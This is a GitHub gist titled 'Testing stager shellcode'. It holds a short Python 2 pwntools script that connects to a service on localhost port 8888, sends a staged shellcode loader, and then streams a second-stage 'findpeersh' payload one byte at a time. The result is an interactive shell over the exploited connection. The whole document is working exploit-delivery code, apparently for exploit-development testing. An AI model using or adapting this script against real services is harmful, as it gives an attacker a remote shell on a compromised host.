Skip to content

Instantly share code, notes, and snippets.

@RobertLarsen
Created March 20, 2015 13:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RobertLarsen/ee4d26d34c39ac1d510a to your computer and use it in GitHub Desktop.
Save RobertLarsen/ee4d26d34c39ac1d510a to your computer and use it in GitHub Desktop.
Testing stager shellcode
#!/usr/bin/env python2
from pwn import *
from time import sleep
context(arch = 'amd64', os = 'linux')
r = remote('localhost', 8888)
payload = asm(shellcraft.findpeersh())
stager = asm(shellcraft.findpeer() + shellcraft.stager('rdi', len(payload)))
r.send(stager)
sleep(.5)
for c in payload:
r.send(c)
sleep(.5)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment